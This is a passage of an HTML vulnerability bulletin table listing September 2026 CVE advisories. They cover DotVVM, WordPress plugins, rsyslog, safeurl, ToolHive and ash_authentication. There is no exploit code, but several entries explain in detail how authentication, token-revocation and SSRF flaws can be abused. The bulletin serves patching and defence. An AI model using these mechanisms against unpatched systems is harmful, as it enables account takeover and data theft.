&lt;td&gt;DotVVM is an open source MVVM framework for web applications. Prior to 4.2.11, 4.3.15, and 5.0.0-preview09-final, a route containing multiple unconstrained parameters in one path segment can cause excessive regular-expression backtracking in DotvvmRoute.IsMatch when a remote requester supplies a long near-match path. DotvvmRouteParser.RouteRegex previously had no matching timeout. Patched runtimes retry with the .NET non-backtracking engine, while runtimes that do not support non-backtracking matching return HTTP 503 after the one-second timeout in DotvvmRoutingMiddleware. This issue is fixed in versions 4.2.11, 4.3.15, and 5.0.0-preview09-final.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57577&quot; target=&quot;_blank&quot;&gt;CVE-2026-57577&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;riganti--dotvvm&lt;/td&gt;
&lt;td&gt;DotVVM is an open source MVVM framework for web applications. Prior to 4.2.11, 4.3.15, and 5.0.0-preview09-final, AuthorizeActionFilter performs no authorization because its explicit ICommandActionFilter.OnCommandExecutingAsync, IViewModelActionFilter.OnViewModelCreatedAsync, and IPresenterActionFilter.OnPresenterExecutingAsync implementations return completed tasks instead of invoking the corresponding checks. Applications relying on this filter can therefore expose protected commands, view models, or presenters to unauthorized requests without any special bypass technique. AuthorizeAttribute correctly implements the same interfaces and can be used as a workaround. This issue is fixed in versions 4.2.11, 4.3.15, and 5.0.0-preview09-final.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57578&quot; target=&quot;_blank&quot;&gt;CVE-2026-57578&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rox Appointment Booking--Rox Appointment Booking&lt;/td&gt;
&lt;td&gt;The Rox Appointment Booking WordPress plugin before 1.2.8 does not perform any authorization check on the endpoint that returns booking agent (staff) records, allowing unauthenticated attackers to read staff email addresses, phone numbers, private internal notes and the linked WordPress account name for every agent.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87896&quot; target=&quot;_blank&quot;&gt;CVE-2026-87896&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Rox Appointment Booking--Rox Appointment Booking&lt;/td&gt;
&lt;td&gt;The Rox Appointment Booking WordPress plugin before 1.2.8 does not perform any authorization check on the endpoints that return booking service and category records, allowing unauthenticated attackers to read the private internal notes stored on each service and category.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87907&quot; target=&quot;_blank&quot;&gt;CVE-2026-87907&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;rsyslog--rsyslog&lt;/td&gt;
&lt;td&gt;Rsyslog is a rocket-fast system for log processing. From 8.2110.0 until 8.2604.0, the optional imhttp module&#039;s parse_auth_header function in contrib/imhttp/imhttp.c allocates a zero-byte heap buffer with calloc(0, len) when an HTTP Basic Authorization value exceeds its fixed work buffer, then passes that pointer to apr_base64_decode. An unauthenticated remote attacker can send an oversized encoded credential to an imhttp endpoint configured for Basic Authentication, causing decoded data to overwrite adjacent heap memory before credential validation. Deployments that do not install, load, and use imhttp with Basic Authentication are not affected. The demonstrated impact is a process crash that interrupts log collection, and code execution has not been demonstrated. This issue is fixed in version 8.2604.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55556&quot; target=&quot;_blank&quot;&gt;CVE-2026-55556&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RuoYi-Vue-Plus --RuoYi-Vue-Plus 6.0.0&lt;/td&gt;
&lt;td&gt;An issue in RuoYi-Vue-Plus 6.0.0 allows a remote attacker to execute arbitrary code via the FlwTaskController.java component, and the FlwTaskServiceImpl.completeTask, CompleteExecuteComponent.process, Warm-Flow TaskService.skip, POST /workflow/task/completeTask components&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88616&quot; target=&quot;_blank&quot;&gt;CVE-2026-88616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SAML Single Sign On--SAML Single Sign On&lt;/td&gt;
&lt;td&gt;The SAML Single Sign On WordPress plugin before 6.0.0 does not honour the configured criterion for linking an incoming single sign-on identity to a WordPress account, always resolving the identity by login name whatever the site has chosen, which allows an attacker who can have the site&#039;s identity provider assert a login name of their choosing to authenticate as any account, including an administrator, without proving ownership of that account.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82842&quot; target=&quot;_blank&quot;&gt;CVE-2026-82842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Schema &amp;amp; Structured Data for WP &amp;amp; AMP--Schema &amp;amp; Structured Data for WP &amp;amp; AMP&lt;/td&gt;
&lt;td&gt;The Schema &amp;amp; Structured Data for WP &amp;amp; AMP WordPress plugin before 1.66 does not check whether a post is password protected before including its content in the structured data it generates, allowing unauthenticated users to obtain the content of password protected posts via more than one public output route.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82124&quot; target=&quot;_blank&quot;&gt;CVE-2026-82124&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Schema &amp;amp; Structured Data for WP &amp;amp; AMP--Schema &amp;amp; Structured Data for WP &amp;amp; AMP&lt;/td&gt;
&lt;td&gt;The Schema &amp;amp; Structured Data for WP &amp;amp; AMP WordPress plugin before 1.66 does not correctly verify the ownership or the moderation status of a comment before returning its content, allowing unauthenticated users to read the content of comments still awaiting moderation or marked as spam.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82125&quot; target=&quot;_blank&quot;&gt;CVE-2026-82125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Schema &amp;amp; Structured Data for WP &amp;amp; AMP--Schema &amp;amp; Structured Data for WP &amp;amp; AMP&lt;/td&gt;
&lt;td&gt;The Schema &amp;amp; Structured Data for WP &amp;amp; AMP WordPress plugin before 1.66 does not check that a user is allowed to edit the specific post they request schema generation for, allowing users with the contributor role and above to obtain the content of other users&#039; draft, pending, private and password protected posts.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82126&quot; target=&quot;_blank&quot;&gt;CVE-2026-82126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Secure Custom Fields--Secure Custom Fields&lt;/td&gt;
&lt;td&gt;The Secure Custom Fields WordPress plugin before 6.9.4 does not properly verify that a front-end form submission corresponds to the form that was rendered to the visitor, allowing unauthenticated users to submit against a different registered form and modify the title and content of the post that form is bound to.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92403&quot; target=&quot;_blank&quot;&gt;CVE-2026-92403&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Seraphinite Accelerator--Seraphinite Accelerator&lt;/td&gt;
&lt;td&gt;The Seraphinite Accelerator WordPress plugin before 2.29.24 does not perform a capability check on one of its state-update AJAX actions, allowing authenticated users such as subscribers to write a malformed value that causes an uncaught error on every subsequent admin page load, making the entire admin area inaccessible to all administrators (denial of service).&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87828&quot; target=&quot;_blank&quot;&gt;CVE-2026-87828&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sign-up Sheets--Sign-up Sheets&lt;/td&gt;
&lt;td&gt;The Sign-up Sheets WordPress plugin before 2.4.0 does not properly validate the CSRF nonce that protects its sign-up deletion action, allowing attackers to delete sign-up records via a forged request handled in the session of a logged-in user with the required capability.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92410&quot; target=&quot;_blank&quot;&gt;CVE-2026-92410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Slab--safeurl&lt;/td&gt;
&lt;td&gt;Server-Side Request Forgery (SSRF) vulnerability in Slab safeurl allows an attacker who controls a validated URL to reach internal network destinations the library is configured to block. Only IPv4 addresses are matched against the reserved ranges and the blocklist. Every other address is treated as matching nothing, so a destination that is rejected in its IPv4 form is accepted when written as an IPv6 address, IPv6 entries in the blocklist never match, and a host that resolves to no IPv4 address is accepted regardless of where it points. Deployments that rely on the allowlist instead are unaffected, because there an unmatched address is rejected. This issue affects safeurl: from 0.1.0 onward.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77866&quot; target=&quot;_blank&quot;&gt;CVE-2026-77866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Slab--safeurl&lt;/td&gt;
&lt;td&gt;Time-of-check Time-of-use (TOCTOU) Race Condition in Slab safeurl allows an attacker who controls a hostname&#039;s DNS responses to reach internal network destinations that validation rejected. Validation returns a verdict and not the address it approved, so the HTTP clients the library ships receive the original hostname and resolve it a second time when the request is made. An attacker who controls the authoritative DNS for a name can answer the first lookup with a permitted address and the second with a blocked one, and the request then reaches a destination validation never approved. The same window opens without an attacker whenever a name legitimately resolves to different addresses across lookups, such as short record lifetimes or rotation between several addresses. This issue affects safeurl: from 0.1.0 onward.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77972&quot; target=&quot;_blank&quot;&gt;CVE-2026-77972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SmartAdmin API--SmartAdmin API&lt;/td&gt;
&lt;td&gt;SmartAdmin API Java17 SpringBoot3 version 3.30.0 contains an improper authorization vulnerability in the /employee/queryAll endpoint. The endpoint does not enforce the required function-level permission or data-scope authorization, allowing an authenticated low-privileged employee to retrieve employee records belonging to other departments and users&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88620&quot; target=&quot;_blank&quot;&gt;CVE-2026-88620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SmartAdmin--SmartAdmin v3.30.0&lt;/td&gt;
&lt;td&gt;SmartAdmin v3.30.0 contains an authorization flaw in the configuration query endpoint. This allows a remote attacker to escalate privileges.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88617&quot; target=&quot;_blank&quot;&gt;CVE-2026-88617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sogou --Sogou Input Method&lt;/td&gt;
&lt;td&gt;An issue in Sogou Sogou Input Method &amp;lt; 16.3.0.3498 (fixed in 16.3.0.3498) allows a remote attacker to execute arbitrary code via the biz_helper.exe component&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-51990&quot; target=&quot;_blank&quot;&gt;CVE-2026-51990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Sooma--Sooma tDCS Home Therapy&lt;/td&gt;
&lt;td&gt;In Sooma 2GEN brain stimulator, an attacker within Bluetooth range can make unauthenticated changes to brain stimulation parameters.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85104&quot; target=&quot;_blank&quot;&gt;CVE-2026-85104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stacklok--toolhive&lt;/td&gt;
&lt;td&gt;ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol (MCP) servers. Prior to 0.29.1, networking.IsPrivateIP in pkg/networking/utilities.go omits the IPv6 NAT64 prefixes 64:ff9b::/96 and 64:ff9b:1::/48, so NAT64 addresses embedding private, loopback, or link-local IPv4 targets are classified as public and allowed. The most direct attacker-controlled path begins when an external OAuth client supplies a client_id URL that CIMDStorageDecorator.GetClient routes through FetchClientMetadataDocument in pkg/oauthproto/cimd/fetch.go; protectedDialerControl in pkg/networking/http_client.go and validateHost in pkg/skills/gitresolver/reference.go share the defective classification but use operator-controlled or user-controlled destinations. On a ToolHive host behind a NAT64/DNS64 gateway, the gateway translates an allowed address such as 64:ff9b:1::a9fe:a9fe to 169.254.169.254, permitting blind probing of internal TCP or TLS reachability. The attacker-controlled CIMD path requires HTTPS, verifies certificates, and does not reflect response bodies, so the established impact is an internal reachability oracle rather than metadata credential exfiltration; the webhook client is not affected because it does not use this IP guard. This issue is fixed in version 0.29.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54450&quot; target=&quot;_blank&quot;&gt;CVE-2026-54450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Subscriptions for WooCommerce--Subscriptions for WooCommerce&lt;/td&gt;
&lt;td&gt;The Subscriptions for WooCommerce WordPress plugin before 2.0.3 does not correctly validate the shared secret protecting one of its REST endpoints, allowing unauthenticated users to retrieve the store&#039;s full list of subscriptions, including customer usernames, product names, recurring amounts and payment dates.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87854&quot; target=&quot;_blank&quot;&gt;CVE-2026-87854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Subscriptions for WooCommerce--Subscriptions for WooCommerce&lt;/td&gt;
&lt;td&gt;The Subscriptions for WooCommerce WordPress plugin before 2.0.3 does not verify the security token on the request that cancels a subscription, allowing attackers to make a logged-in customer cancel their own active subscription through a crafted request they are tricked into making.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87860&quot; target=&quot;_blank&quot;&gt;CVE-2026-87860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;T-Systems--TAO&lt;/td&gt;
&lt;td&gt;A stored Cross-Site Scripting (XSS) vulnerability in the profile management functionality of T-Systems&#039; TAO 2.0 suite. An authenticated user could inject malicious HTML or JavaScript content into the fields containing their personal data. The content entered is stored and displayed without being properly sanitised when another user, including administrative staff, views the affected profile. Successful exploitation could allow JavaScript code to be executed in the victim&#039;s browser, access to information available within the session, or the performance of actions using the victim&#039;s permissions.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92976&quot; target=&quot;_blank&quot;&gt;CVE-2026-92976&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Authentication Bypass by Spoofing vulnerability in team-alembic ash_authentication allows an attacker who can plant a remember-me cookie in a victim&#039;s browser to replace that victim&#039;s authenticated session with one for the attacker&#039;s own account. AshAuthentication.Plug.Helpers.sign_in_using_remember_me/3 skips re-authenticating an already-signed-in visitor by checking the session for &quot;&amp;lt;subject_name&amp;gt;_token&quot;, but store_in_session/2 writes that key only when require_token_presence_for_authentication? is enabled and otherwise writes the bare subject name. At the default setting the guard therefore reads a key that is never written, its already-signed-in branch is unreachable, and the remember-me sign-in runs on every request through the per-request browser pipeline plug. A planted remember-me cookie is consequently honoured even for a visitor holding a live authenticated session, so whatever the victim enters afterwards lands in data the attacker controls. The read path in authenticate_resource_from_session/4 selects the key correctly, so the guard and the reader disagree about which key holds the session. This issue affects ash_authentication: from 4.10.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76949&quot; target=&quot;_blank&quot;&gt;CVE-2026-76949&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Improper Verification of Cryptographic Signature vulnerability in team-alembic AshAuthentication allows a caller of the token revocation action to neutralise a revocation or write arbitrary rows into the token resource. AshAuthentication.TokenResource.RevokeTokenChange.change/3 reads the :token argument and decodes it with AshAuthentication.Jwt.peek/1, which delegates to Joken.peek_claims/1 and performs no signature check, unlike Jwt.verify/4. The jti, exp and sub claims it returns are written straight onto the revocation record, guarded only by byte_size(token) &amp;gt; 0. Because expires_at derives from the attacker-chosen exp, a forged copy of a genuine token that keeps the real jti but backdates exp yields a revocation row that is already expired: expunge_expired removes it and the genuine token passes revoked? again. Arbitrary jti and sub values can be inserted the same way. This issue affects ash_authentication: from 0.2.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78223&quot; target=&quot;_blank&quot;&gt;CVE-2026-78223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Improper Authentication vulnerability in team-alembic AshAuthentication allows an attacker holding a sign-in token for one authenticated resource to be signed in as a user of a different resource. AshAuthentication.Strategy.Password.SignInWithTokenPreparation.extract_primary_keys_from_subject/2 parses the JWT sub claim (for example user?id=1) with URI.parse/1 and keeps only its query string, discarding the path segment that names the subject the token was issued for. Nothing else restores that binding: AshAuthentication.Jwt.verify/3 checks the signature, exp, nbf, jti and the library-version claims, the purpose check only requires sign_in, and the remaining comparison is over primary-key field names, which are identical across resources. The WebAuthn sign-in and remember-me preparations carry copies of the same helper and drop the path in the same way. The magic link sign-in path pins the subject name against the resource and is not affected. This issue affects ash_authentication: from 3.10.5 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80218&quot; target=&quot;_blank&quot;&gt;CVE-2026-80218&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Insufficient Session Expiration vulnerability in team-alembic AshAuthentication allows an attacker who obtains a victim&#039;s OAuth2 state value to replay the callback and sign that victim into an attacker-controlled account. AshAuthentication.Strategy.OAuth2.Plug.callback/2 clears the stored session_params through a rebinding step inside its with chain, conn &amp;lt;- delete_session(conn, session_key). Elixir evaluates the else block in the scope enclosing the with, so every failure path (the provider returning ?error=access_denied, an invalid code, a token-exchange error, or a registration or sign-in failure) reaches store_authentication_result/2 holding the original connection and the session entry is never removed. The value the module&#039;s own comment describes as protection against a CSRF-related attack is therefore consumed only when authentication succeeds, and survives a cancelled or failed attempt until the next request phase or session expiry. This issue affects ash_authentication: from 0.6.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81637&quot; target=&quot;_blank&quot;&gt;CVE-2026-81637&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Authorization Bypass Through User-Controlled Key vulnerability in team-alembic AshAuthentication allows an authenticated attacker to overwrite and confirm another user&#039;s email address, and so take over that account. A confirmation token issued to one user is accepted on any other user&#039;s record. AshAuthentication.AddOn.Confirmation.ConfirmChange verifies the token&#039;s signature and its act claim, then applies the changes stored against that token to whichever record the changeset targets, never comparing the sub claim against changeset.data. An attacker who registers an account and changes their own email replays the resulting token against a victim&#039;s record id, writing in their own address with force_change_attributes/2 and stamping confirmed_at, after which an ordinary password reset yields the account. The library&#039;s own confirmation flow is unaffected, because AshAuthentication.AddOn.Confirmation.Actions.confirm/3 resolves sub to a user and targets that record. This issue affects ash_authentication: from 0.5.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82685&quot; target=&quot;_blank&quot;&gt;CVE-2026-82685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Insertion of Sensitive Information into Log File vulnerability in team-alembic AshAuthentication allows disclosure of user password digests to readers of the audit store. The audit_log add-on builds each entry&#039;s extra_data in AshAuthentication.AddOn.AuditLog.Auditor.build_extra_data/4, which takes :actor from the action callback context verbatim. Any audited action invoked with actor: set to a user record therefore deposits that record, including its hashed_password attribute, into the audit entry. The same module already collapses the audited identity to an opaque string via AshAuthentication.user_to_subject/1 and filters params against the strategy&#039;s configured allow-list, so the actor is the only stored value that reaches the audit store unfiltered. Marking the attribute sensitive?: true does not help, because that redacts inspect/1 output rather than JSON encoding or raw-term storage. There is no attacker-controlled trigger and no network disclosure path: entries accumulate from ordinary authenticated activity, and an attacker&#039;s own requests deposit only their own digest. Exploitation requires independent read access to the audit store, such as database credentials, an audit role, a backup, or a log shipper, at which point the digests support offline password attack against every active account. Whether the material persists depends on the data layer, since raw-term stores keep it verbatim while a SQL store raises Protocol.UndefinedError and drops the entry unless the user resource derives Jason.Encoder. This issue affects ash_authentication: from 4.12.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.2.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82723&quot; target=&quot;_blank&quot;&gt;CVE-2026-82723&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Use of a One-Way Hash with a Predictable Salt vulnerability in team-alembic AshAuthentication allows readers of the audit store to recover the client IP addresses that the audit log add-on&#039;s :hash privacy mode is meant to pseudonymise. AshAuthentication.AddOn.AuditLog.IpPrivacy.hash_ip/1 computes a single unkeyed :crypto.hash(:sha256, salt &amp;lt;&amp;gt; ip) and truncates the result to 16 hexadecimal characters. The salt is read from the :audit_log_ip_salt or :secret application config keys, and falls back to the constant &quot;default-salt-change-in-production&quot; published in the library source when neither is set, with nothing warning that the default is in use. The IPv4 space is only 2^32 values and SHA-256 is fast, so the whole hash table is precomputable and every stored value maps back to its source address. Truncating to 16 characters does not help, and even a configured salt leaves the hash cheap enough to enumerate once it leaks. This issue affects ash_authentication: from 4.12.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82759&quot; target=&quot;_blank&quot;&gt;CVE-2026-82759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Inefficient Algorithmic Complexity vulnerability in team-alembic AshAuthentication allows an unauthenticated attacker to exhaust CPU and memory via an oversized base62 segment in a submitted API key. AshAuthentication.Base.decode62/1 in lib/ash_authentication/base.ex splits its argument into one binary per character and folds it with charval62/2, which recomputes Integer.pow(62, index) at every position instead of accumulating by Horner&#039;s method, so cost grows roughly cubically in the input length. bindecode62/1 in the same module is quadratic through Integer.undigits/2 and Integer.digits/2. Neither function caps byte_size/1, and AshAuthentication.Strategy.ApiKey.SignInPreparation passes the underscore-separated segments of the submitted key straight into both, before any key lookup and without prior authentication. The surrounding rescue clauses catch exceptions, not CPU or memory exhaustion. This issue affects ash_authentication: from 4.8.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82760&quot; target=&quot;_blank&quot;&gt;CVE-2026-82760&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;team-alembic--ash_authentication&lt;/td&gt;
&lt;td&gt;Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in team-alembic AshAuthentication allows an attacker holding a leaked magic link to replay its single-use token and authenticate as the target subject. A magic link configured with single_use_token?, which is the default, is meant to be redeemable exactly once, but nothing serialises the token&#039;s validity check against its consumption, so concurrent redemptions of one token all succeed and each yields a full user token. Sign-in verifies the JWT with Jwt.verify/4 and revokes it only afterwards: AshAuthentication.Strategy.MagicLink.SignInPreparation revokes in a Query.after_action callback, and AshAuthentication.Strategy.MagicLink.SignInChange in an after_transaction hook that runs once the sign-in has already committed. AshAuthentication.TokenResource.Actions.revoke/3 writes the revocation as an upsert, so a concurrent duplicate revocation silently succeeds instead of conflicting and no request ever loses the race. This issue affects ash_authentication: from 3.9.0 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
